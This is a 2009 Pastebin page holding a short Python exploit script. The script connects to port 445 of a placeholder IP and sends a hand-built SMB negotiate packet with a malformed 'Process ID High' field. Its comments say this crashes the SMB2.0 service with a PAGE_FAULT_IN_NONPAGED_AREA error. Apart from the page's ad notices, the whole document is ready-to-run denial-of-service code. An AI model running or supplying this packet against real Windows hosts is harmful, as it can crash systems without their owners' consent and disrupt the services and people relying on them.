Guest User

secbydefault

a guest
Sep 8th, 2009
510
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. #When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
  3. #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
  4.  
  5. from socket import socket
  6. from time import sleep
  7.  
  8. host = "IP_ADDR", 445
  9. buff = (
  10. "\x00\x00\x00\x90" # Begin SMB header: Session message
  11. "\xff\x53\x4d\x42" # Server Component: SMB
  12. "\x72\x00\x00\x00" # Negociate Protocol
  13. "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
  14. "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
  15. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
  16. "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
  17. "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
  18. "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
  19. "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
  20. "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
  21. "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
  22. "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
  23. "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
  24. "\x30\x30\x32\x00"
  25. )
  26. s = socket()
  27. s.connect(host)
  28. s.send(buff)
  29. s.close()
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×